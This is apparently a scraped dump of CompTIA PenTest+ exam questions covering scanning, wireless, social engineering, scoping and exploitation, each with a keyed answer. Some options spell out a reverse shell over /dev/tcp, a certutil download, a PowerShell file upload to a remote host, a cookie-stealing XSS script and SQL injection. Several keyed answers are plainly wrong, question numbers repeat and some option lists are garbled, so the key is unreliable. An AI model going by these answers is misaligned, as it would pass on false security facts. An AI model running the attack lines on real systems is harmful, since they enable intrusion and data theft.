

CompTIA

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam



NEW QUESTION 1

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

- A. `chmod u+x script.sh`
- B. `chmod u+e script.sh`
- C. `chmod o+e script.sh`
- D. `chmod o+x script.sh`

Answer: A

NEW QUESTION 2

A penetration tester opened a shell on a laptop at a client's office but is unable to pivot because of restrictive ACLs on the wireless subnet. The tester is also aware that all laptop users have a hard-wired connection available at their desks. Which of the following is the BEST method available to pivot and gain additional access to the network?

- A. Set up a captive portal with embedded malicious code.
- B. Capture handshakes from wireless clients to crack.
- C. Span deauthentication packets to the wireless clients.
- D. Set up another access point and perform an evil twin attack.

Answer: C

NEW QUESTION 3

Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data?

- A. An unknown-environment assessment
- B. A known-environment assessment
- C. A red-team assessment
- D. A compliance-based assessment

Answer: B

Explanation:

A known environment test is often more complete, because testers can get to every system, service, or other target that is in scope and will have credentials and other materials that will allow them to be tested.

NEW QUESTION 4

Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?

- A. Nessus
- B. Metasploit
- C. Burp Suite
- D. Ethercap

Answer: B

NEW QUESTION 5

Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?

- A. Scraping social media for personal details
- B. Registering domain names that are similar to the target company's
- C. Identifying technical contacts at the company
- D. Crawling the company's website for company information

Answer: A

NEW QUESTION 6

Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

- A. The team exploits a critical server within the organization.
- B. The team exfiltrates PII or credit card data from the organization.
- C. The team loses access to the network remotely.
- D. The team discovers another actor on a system on the network.

Answer: D

NEW QUESTION 7

A penetration tester conducts an Nmap scan against a target and receives the following results:

Port	State	Service
1080/tcp	open	socks

Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?

- A. Nessus
- B. ProxyChains
- C. OWASPZAP
- D. Empire

Answer: B

NEW QUESTION 8

A penetration tester received a .pcap file to look for credentials to use in an engagement. Which of the following tools should the tester utilize to open and read the .pcap file?

- A. Nmap
- B. Wireshark
- C. Metasploit
- D. Netcat

Answer: B

NEW QUESTION 9

A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?

- A. Nmap
- B. tcpdump
- C. Scapy
- D. hping3

Answer: C

Explanation:

https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html <https://scapy.readthedocs.io/en/latest/introduction.html#about-scapy>

NEW QUESTION 10

The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?

- A. Statement of work
- B. Program scope
- C. Non-disclosure agreement
- D. Rules of engagement

Answer: D

Explanation:

Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

NEW QUESTION 10

A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:

Host name	IP	OS	Security updates
addc01.local	10.1.1.20	Windows Server 2012	KB4581001, KB4585587, KB4586007
addc02.local	10.1.1.21	Windows Server 2012	KB4586007
dnsint.local	10.1.1.22	Windows Server 2012	KB4581001, KB4585587, KB4586007, KB4586010
wwwint.local	10.1.1.23	Windows Server 2012	KB4581001

Which of the following would be a recommendation for remediation?

- A. Deploy a user training program
- B. Implement a patch management plan
- C. Utilize the secure software development life cycle
- D. Configure access controls on each of the servers

Answer: B

NEW QUESTION 14

A company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?

- A. Asset inventory
- B. DNS records
- C. Web-application scan
- D. Full scan

Answer: A

NEW QUESTION 19

A penetration tester is evaluating a company's network perimeter. The tester has received limited information about defensive controls or countermeasures, and limited internal knowledge of the testing exists. Which of the following should be the FIRST step to plan the reconnaissance activities?

- A. Launch an external scan of netblocks.
- B. Check WHOIS and netblock records for the company.
- C. Use DNS lookups and dig to determine the external hosts.
- D. Conduct a ping sweep of the company's netblocks.

Answer: C

NEW QUESTION 22

Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?

- A. NDA
- B. MSA
- C. SOW
- D. MOU

Answer: C

NEW QUESTION 25

A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

- A. Wireshark
- B. Aircrack-ng
- C. Kismet
- D. Wifite

Answer: B

NEW QUESTION 27

A penetration tester has been hired to examine a website for flaws. During one of the time windows for testing, a network engineer notices a flood of GET requests to the web server, reducing the website's response time by 80%. The network engineer contacts the penetration tester to determine if these GET requests are part of the test. Which of the following BEST describes the purpose of checking with the penetration tester?

- A. Situational awareness
- B. Rescheduling
- C. DDoS defense
- D. Deconfliction

Answer: D

Explanation:

<https://redteam.guide/docs/definitions/>

NEW QUESTION 29

A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?

- A. Attempting to tailgate an employee going into the client's workplace
- B. Dropping a malicious USB key with the company's logo in the parking lot
- C. Using a brute-force attack against the external perimeter to gain a foothold
- D. Performing spear phishing against employees by posing as senior management

Answer: D

NEW QUESTION 33

A penetration tester is reviewing the following DNS reconnaissance results for comptia.org from dig: comptia.org. 3569 IN MX comptia.org-mail.protection.outlook.com. comptia.org. 3569 IN A 3.219.13.186.

comptia.org.

3569 IN NS ns1.comptia.org. comptia.org. 3569 IN SOA haven. administrator.comptia.org. comptia.org. 3569 IN MX new.mx0.comptia.org. comptia.org. 3569 IN MX new.mx1.comptia.org.

Which of the following potential issues can the penetration tester identify based on this output?

- A. At least one of the records is out of scope.
- B. There is a duplicate MX record.
- C. The NS record is not within the appropriate domain.
- D. The SOA records outside the comptia.org domain.

Answer: A

NEW QUESTION 35

A penetration tester has been hired to configure and conduct authenticated scans of all the servers on a software company's network. Which of the following accounts should the tester use to return the MOST results?

- A. Root user
- B. Local administrator
- C. Service
- D. Network administrator

Answer: C

NEW QUESTION 39

Which of the following tools would be MOST useful in collecting vendor and other security-relevant information for IoT devices to support passive reconnaissance?

- A. Shodan
- B. Nmap
- C. WebScarab-NG
- D. Nessus

Answer: B

NEW QUESTION 41

A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

```
$ dirb http://172.16.100.10:3000
-----
DURB v2.22
By The Dark Raver
-----
START_TIME: Wed Feb 3 13:06:18 2021
URL_BASE: http://172.16.100.10:3000
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.100.10:3000 ----
+ http://172.16.100.10:3000/ftp (CODE:200|SIZE:11071)
+ http://172.16.100.10:3000/profile (CODE:500|SIZE:1151)
+ http://172.16.100.10:3000/promotion (CODE:200|SIZE:6586)
+ http://172.16.100.10:3000/robots.txt (CODE:200|SIZE:28)
+ http://172.16.100.10:3000 /Video (CODE:200|SIZE:10075518)

-----
END_TIME: Wed Feb 3 13:07:53 2021
DOWNLOADED: 4612 - FOUND: 5
```

However, when the penetration tester tried to browse the URL `http://172.16.100.10:3000/profile`, a blank page was displayed. Which of the following is the MOST likely reason for the lack of output?

- A. The HTTP port is not open on the firewall.
- B. The tester did not run `sudo` before the command.
- C. The web server is using HTTPS instead of HTTP.
- D. This URI returned a server error.

Answer: A

NEW QUESTION 46

Deconfliction is necessary when the penetration test:

- A. determines that proprietary information is being stored in cleartext.
- B. occurs during the monthly vulnerability scanning.
- C. uncovers indicators of prior compromise over the course of the assessment.
- D. proceeds in parallel with a criminal digital forensic investigation.

Answer: C

Explanation:

This will then enable the PenTest to continue so that additional issues can be found, exploited, and analyzed.

NEW QUESTION 51

A penetration tester received a 16-bit network block that was scoped for an assessment. During the assessment, the tester realized no hosts were active in the provided block of IPs and reported this to the company. The company then provided an updated block of IPs to the tester. Which of the following would be the most appropriate NEXT step?

- A. Terminate the contract.
- B. Update the ROE with new signature

- C. Most Voted
- D. Scan the 8-bit block to map additional missed hosts.
- E. Continue the assessment.

Answer: B

NEW QUESTION 52

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?

- A. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
- B. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
- C. schtasks /query /fo LIST /v | find /I "Next Run Time:"
- D. wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe

Answer: A

Explanation:

<https://www.bleepingcomputer.com/news/security/certutil.exe-could-allow-attackers-to-download-malware-while>
--- <https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk>

NEW QUESTION 54

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan?

- A. nmap -sn 10.12.1.0/24
- B. nmap -sV -A 10.12.1.0/24
- C. nmap -Pn 10.12.1.0/24
- D. nmap -sT -p- 10.12.1.0/24

Answer: A

NEW QUESTION 59

During an assessment, a penetration tester was able to access the organization's wireless network from outside of the building using a laptop running Aircrack-ng. Which of the following should be recommended to the client to remediate this issue?

- A. Changing to Wi-Fi equipment that supports strong encryption
- B. Using directional antennae
- C. Using WEP encryption
- D. Disabling Wi-Fi

Answer: A

NEW QUESTION 63

Which of the following tools would BEST allow a penetration tester to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine?

- A. Wireshark
- B. EAPHammer
- C. Kismet
- D. Aircrack-ng

Answer: D

Explanation:

The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1]. Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.
The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1]. Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.

NEW QUESTION 64

A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:

U3VQZXIkM2NyZXQhCg==

Which of the following commands should the tester use NEXT to decode the contents of the file?

- A. echo U3VQZXIkM2NyZXQhCg== | base64 -d
- B. tar zxvf password.txt
- C. hydra -l svsacct -P U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24
- D. john --wordlist /usr/share/seclists/rockyou.txt password.txt

Answer: A

NEW QUESTION 68

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

Answer: C

Explanation:

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.
Ref: <https://www.okta.com/identity-101/fraggle-attack/>

NEW QUESTION 71

A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team?

- A. Multiple handshakes
- B. IP addresses
- C. Encrypted file transfers
- D. User hashes sent over SMB

Answer: B

NEW QUESTION 74

Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

- A. devices produce more heat and consume more power.
- B. devices are obsolete and are no longer available for replacement.
- C. protocols are more difficult to understand.
- D. devices may cause physical world effects.

Answer: D

Explanation:

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

NEW QUESTION 75

During the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was stolen. After being notified about the breach, which of the following steps should the company take NEXT?

- A. Deny that the vulnerability existed
- B. Investigate the penetration tester.
- C. Accept that the client was right.
- D. Fire the penetration tester.

Answer: B

NEW QUESTION 79

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data. Which of the following should the tester verify FIRST to assess this risk?

- A. Whether sensitive client data is publicly accessible
- B. Whether the connection between the cloud and the client is secure
- C. Whether the client's employees are trained properly to use the platform
- D. Whether the cloud applications were developed using a secure SDLC

Answer: A

NEW QUESTION 84

During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames. Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform?

- A. Sniff and then crack the WPS PIN on an associated WiFi device.
- B. Dump the user address book on the device.
- C. Break a connection between two Bluetooth devices.
- D. Transmit text messages to the device.

Answer: B

Explanation:

Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs. This allows access to calendars, contact lists, emails and text messages, and on some phones, users can copy pictures and private videos.

NEW QUESTION 87

A final penetration test report has been submitted to the board for review and accepted. The report has three findings rated high. Which of the following should be the NEXT step?

- A. Perform a new penetration test.
- B. Remediate the findings.
- C. Provide the list of common vulnerabilities and exposures.
- D. Broaden the scope of the penetration test.

Answer: B

NEW QUESTION 90

A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables. Which of the following should be included as a recommendation in the remediation report?

- A. Stronger algorithmic requirements
- B. Access controls on the server
- C. Encryption on the user passwords
- D. A patch management program

Answer: A

NEW QUESTION 91

Which of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?

- A. DirBuster
- B. CeWL
- C. w3af
- D. Patator

Answer: B

Explanation:

CeWL, the Custom Word List Generator, is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds. Running CeWL against a target organization's sites can help generate a custom word list, but you will typically want to add words manually based on your own OSINT gathering efforts.

<https://esgeeks.com/como-utilizar-cewl/>

NEW QUESTION 95

A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

- A. nmap -iL results 192.168.0.10-100
- B. nmap 192.168.0.10-100 -O > results
- C. nmap -A 192.168.0.10-100 -oX results
- D. nmap 192.168.0.10-100 | grep "results"

Answer: C

NEW QUESTION 100

During an assessment, a penetration tester gathered OSINT for one of the IT systems administrators from the target company and managed to obtain valuable information, including corporate email addresses. Which of the following techniques should the penetration tester perform NEXT?

- A. Badge cloning
- B. Watering-hole attack
- C. Impersonation
- D. Spear phishing

Answer: D

Explanation:

Spear phishing is a type of targeted attack where the attacker sends emails that appear to come from a legitimate source, often a company or someone familiar to the target, with the goal of tricking the target into clicking on a malicious link or providing sensitive information. In this case, the penetration tester has already gathered OSINT on the IT system administrator, so they can use this information to craft a highly targeted spear phishing attack to try and gain access to the target system.

NEW QUESTION 101

A penetration tester ran the following commands on a Windows server:

```
schtasks
echo net user svaccount password /add >> batchjob3.bat
echo net localgroup Administrators svaccount /add >> batchjob3.bat
net user svaccount
runas /user:svaccount mimikatz
```

Which of the following should the tester do AFTER delivering the final report?

- A. Delete the scheduled batch job.
- B. Close the reverse shell connection.
- C. Downgrade the svaccount permissions.
- D. Remove the tester-created credentials.

Answer: D

NEW QUESTION 104

A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?

- A. Manually check the version number of the VoIP service against the CVE release
- B. Test with proof-of-concept code from an exploit database
- C. Review SIP traffic from an on-path position to look for indicators of compromise
- D. Utilize an nmap -sV scan against the service

Answer: B

NEW QUESTION 105

Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

- A. Buffer overflows
- B. Cross-site scripting
- C. Race-condition attacks
- D. Zero-day attacks
- E. Injection flaws
- F. Ransomware attacks

Answer: BE

Explanation:

A01-Injection
A02-Broken Authentication A03-Sensitive Data Exposure A04-XXE
A05-Broken Access Control A06-Security Misconfiguration A07-XSS
A08-Insecure Deserialization
A09-Using Components with Known Vulnerabilities A10-Insufficient Logging & Monitoring

NEW QUESTION 106

A penetration tester conducted a discovery scan that generated the following:

```
Starting nmap 6.40 ( http://nmap.org ) at 2021-02-01 13:56 CST
Nmap scan report for 192.168.0.1
Host is up (0.021s latency).
Nmap scan report for 192.168.0.140
Host is up (0.30s latency)
Nmap scan report for 192.168.0.149
Host is up (0.20s latency).
Nmap scan report for 192.168.0.184
Host is up (0.0017s latency).
Nmap done: IP addresses (4 hosts up) scanned in 37.26 seconds
```

Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?

- A. nmap -oG list.txt 192.168.0.1-254 , sort
- B. nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print \$5}'
- C. nmap --open 192.168.0.1-254, uniq
- D. nmap -o 192.168.0.1-254, cut -f 2

Answer: B

Explanation:

the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print \$5}) which obviously carries the returned IP of the host in the NMAP output.

NEW QUESTION 107

A penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?

- A. inurl:

- B. link:
- C. site:
- D. intitle:

Answer: C

NEW QUESTION 110

Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?

- A. S/MIME
- B. FTPS
- C. DNSSEC
- D. AS2

Answer: A

NEW QUESTION 115

A penetration tester who is working remotely is conducting a penetration test using a wireless connection. Which of the following is the BEST way to provide confidentiality for the client while using this connection?

- A. Configure wireless access to use a AAA server.
- B. Use random MAC addresses on the penetration testing distribution.
- C. Install a host-based firewall on the penetration testing distribution.
- D. Connect to the penetration testing company's VPS using a VPN.

Answer: D

NEW QUESTION 116

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

- A. Enforce mandatory employee vacations
- B. Implement multifactor authentication
- C. Install video surveillance equipment in the office
- D. Encrypt passwords for bank account information

Answer: A

Explanation:

If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job.

NEW QUESTION 120

An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?

- A. nmap 192.168.0.1/24
- B. nmap 192.168.0.1/24
- C. nmap oG 192.168.0.1/24
- D. nmap 192.168.0.1/24

Answer: A

NEW QUESTION 122

A penetration tester was hired to perform a physical security assessment of an organization's office. After monitoring the environment for a few hours, the penetration tester notices that some employees go to lunch in a restaurant nearby and leave their belongings unattended on the table while getting food. Which of the following techniques would MOST likely be used to get legitimate access into the organization's building without raising too many alerts?

- A. Tailgating
- B. Dumpster diving
- C. Shoulder surfing
- D. Badge cloning

Answer: D

NEW QUESTION 125

A penetration tester has found indicators that a privileged user's password might be the same on 30 different Linux systems. Which of the following tools can help the tester identify the number of systems on which the password can be used?

- A. Hydra
- B. John the Ripper
- C. Cain and Abel
- D. Medusa

Answer: D

Explanation:

Both Hydra and Medusa can be used for that same purpose:

THC Hydra is a brute-force cracking tool for remote authentication services. It supports many protocols, including telnet, FTP, LDAP, SSH, SNMP, and others.

Medusa is a Parallel, Modular and Speedy method for brute-force which issued for remote authentication. Following are the applications and protocols like modular design, Thread based parallel testing and flexible user input and protocols are AFP, CVS, FTP, HTTP, IMAP etc.

NEW QUESTION 128

A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)

- A. IP addresses and subdomains
- B. Zone transfers
- C. DNS forward and reverse lookups
- D. Internet search engines
- E. Externally facing open ports
- F. Shodan results

Answer: DF

NEW QUESTION 129

Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?

- A. Unsupported operating systems
- B. Susceptibility to DDoS attacks
- C. Inability to network
- D. The existence of default passwords

Answer: A

NEW QUESTION 134

A penetration tester is required to perform a vulnerability scan that reduces the likelihood of false positives and increases the true positives of the results. Which of the following would MOST likely accomplish this goal?

- A. Using OpenVAS in default mode
- B. Using Nessus with credentials
- C. Using Nmap as the root user
- D. Using OWASP ZAP

Answer: B

Explanation:

Using credentials during a vulnerability scan allows the scanner to gather more detailed information about the target system, including installed software, patch levels, and configuration settings. This helps to reduce the likelihood of false positives and increase the true positives of the results. Nessus is a popular vulnerability scanner that supports credential-based scanning and can be used to accomplish this goal. OpenVAS and Nmap are also popular scanning tools, but using default mode or running as the root user alone may not provide the necessary level of detail for accurate vulnerability identification. OWASP ZAP is a web application scanner and may not be applicable for non-web-based targets.

NEW QUESTION 136

A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:

```
* Connected to 10.2.11.144 (:::1) port 80 (#0)
> GET /readmine.html HTTP/1.1
> Host: 10.2.11.144
> User-Agent: curl/7.67.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Date: Tue, 02 Feb 2021 21:46:47 GMT
< Server: Apache/2.4.41 (Debian)
< Content-Length: 317
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
```

Which of the following tools would be BEST for the penetration tester to use to explore this site further?

- A. Burp Suite
- B. DirBuster
- C. WPScan
- D. OWASP ZAP

Answer: C

NEW QUESTION 140

During an assessment, a penetration tester manages to exploit an LFI vulnerability and browse the web log for a target Apache server. Which of the following steps would the penetration tester most likely try NEXT to further exploit the web server? (Choose two.)

- A. Cross-site scripting
- B. Server-side request forgery
- C. SQL injection
- D. Log poisoning
- E. Cross-site request forgery
- F. Command injection

Answer: DF

Explanation:

Local File Inclusion (LFI) is a web vulnerability that allows an attacker to include files on a server through the web browser. This can expose sensitive information or lead to remote code execution.

Some possible next steps that a penetration tester can try after exploiting an LFI vulnerability are:

- > Log poisoning: This involves injecting malicious code into the web server's log files and then including them via LFI to execute the code³⁴.
- > PHP wrappers: These are special streams that can be used to manipulate files or data via LFI. For example, `php://input` can be used to pass arbitrary data to an LFI script, or `php://filter` can be used to encode or decode files⁵.

NEW QUESTION 142

A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?

- A. Wireshark
- B. Gattacker
- C. tcpdump
- D. Netcat

Answer: B

Explanation:

The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans, fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and execute various commands.

NEW QUESTION 146

The following PowerShell snippet was extracted from a log of an attacker machine:

```

1. $net="192.168.1."
2. $setipaddress ="192.168.2."
3. function Test-Password {
4. if (args[0] -eq 'Dummy12345') {
5. return 1
6. }
7. else {
8. $cat = 22, 25, 80, 443
9. return 0
10. }
11. }
12. $cracked = 0
13. crackedpd = [ 192, 168, 1, 2]
14. $i =0
15. Do {
16. $test = 'Dummy' + $i
17. $cracked = Test - Password Test
18. $i++
19. $crackedp = ( 192, 168, 1, 1) + $cat
20. }
21. While($cracked -eq 0)
22. Write-Host " Password found : " $test
23. $setipaddress = [ 192, 168, 1, 4]

```

A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

- A. Line 8

- B. Line 13
- C. Line 19
- D. Line 20

Answer: A

Explanation:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arrays?view=powe

NEW QUESTION 147

A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet. Which of the following tools or techniques would BEST support additional reconnaissance?

- A. Wardriving
- B. Shodan
- C. Recon-ng
- D. Aircrack-ng

Answer: C

NEW QUESTION 151

Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

- A. Executive summary
- B. Remediation
- C. Methodology
- D. Metrics and measures

Answer: B

NEW QUESTION 153

Which of the following tools provides Python classes for interacting with network protocols?

- A. Responder
- B. Impacket
- C. Empire
- D. PowerSploit

Answer: B

NEW QUESTION 158

A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?

- A. Prying the lock open on the records room
- B. Climbing in an open window of the adjoining building
- C. Presenting a false employee ID to the night guard
- D. Obstructing the motion sensors in the hallway of the records room

Answer: C

Explanation:

"to be conducted after hours and should not include circumventing the alarm or performing destructive entry"

NEW QUESTION 160

A tester who is performing a penetration test on a website receives the following output:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62
Which of the following commands can be used to further attack the website?

- A. `<script>var adr= '../evil.php?test=' + escape(document.cookie);</script>`
- B. `../../../../../../../../etc/passwd`
- C. `/var/www/html/index.php;whoami`
- D. `1 UNION SELECT 1, DATABASE(),3-`

Answer: D

NEW QUESTION 163

A penetration tester ran the following command on a staging server: `python -m SimpleHTTPServer 9891`
Which of the following commands could be used to download a file named exploit to a target machine for execution?

- A. `nc 10.10.51.50 9891 < exploit`
- B. `powershell -exec bypass -f \\10.10.51.50\9891`
- C. `bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit`
- D. `wget 10.10.51.50:9891/exploit`

Answer: D

NEW QUESTION 166

A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted store of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?

- A. TCP port 443 is not open on the firewall
- B. The API server is using SSL instead of TLS
- C. The tester is using an outdated version of the application
- D. The application has the API certificate pinned.

Answer: D

NEW QUESTION 167

User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

- A. MD5
- B. bcrypt
- C. SHA-1
- D. PBKDF2

Answer: A

NEW QUESTION 172

A penetration tester writes the following script:

```
#!/bin/bash
for x in `seq 1 254`; do
    ping -c 1 10.10.1.$x;
done
```

Which of the following objectives is the tester attempting to achieve?

- A. Determine active hosts on the network.
- B. Set the TTL of ping packets for stealth.
- C. Fill the ARP table of the networked devices.
- D. Scan the system on the most used ports.

Answer: A

NEW QUESTION 175

A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a social-engineering method that, if successful, would MOST likely enable both objectives?

- A. Send an SMS with a spoofed service number including a link to download a malicious application.
- B. Exploit a vulnerability in the MDM and create a new account and device profile.
- C. Perform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
- D. Infest a website that is often used by employees with malware targeted toward x86 architectures.

Answer: A

Explanation:

Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

NEW QUESTION 179

A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router. Which of the following is MOST vulnerable to a brute-force attack?

- A. WPS
- B. WPA2-EAP
- C. WPA-TKIP
- D. WPA2-PSK

Answer: A

NEW QUESTION 180

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

- A. Whether the cloud service provider allows the penetration tester to test the environment
- B. Whether the specific cloud services are being used by the application

- C. The geographical location where the cloud services are running
- D. Whether the country where the cloud service is based has any impeding laws

Answer: A

NEW QUESTION 181

A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:

```
# nmap -T4 -v -oG - scanme.nmap.org
# Nmap 5.35DC18 scan initiated [time] as: nmap -T4 -A -v -cG -
scanme.nmap.org
# Ports scanned: TCP(1000;1, 3-4, 6-7, ..., 65389) UDP (0;) PROTOCOLS(0;)
Host: 64.13.134.52 (scanme.nmap.org) Status: Up
Host: 64.13.134.52 (scanme.nmap.org)
Ports:
22/open/tcp
25/closed/tcp
53/open/tcp
70/closed/tcp
80/open/tcp
113/closed/tcp
31337/closed/tcp
Ignored State: filtered (993) OS: Linux 2.6.13 - 2.6.31 Seq Index: 204 IP ID
Seq: All zeros
# Nmap done at [time] -- 1 IP address (1 host up) scanned in 21.90 seconds
```

Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)

- A. Telnet
- B. HTTP
- C. SMTP
- D. DNS
- E. NTP
- F. SNMP

Answer: BD

NEW QUESTION 183

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position.

Which of the following actions, if performed, would be ethical within the scope of the assessment?

- A. Exploiting a configuration weakness in the SQL database
- B. Intercepting outbound TLS traffic
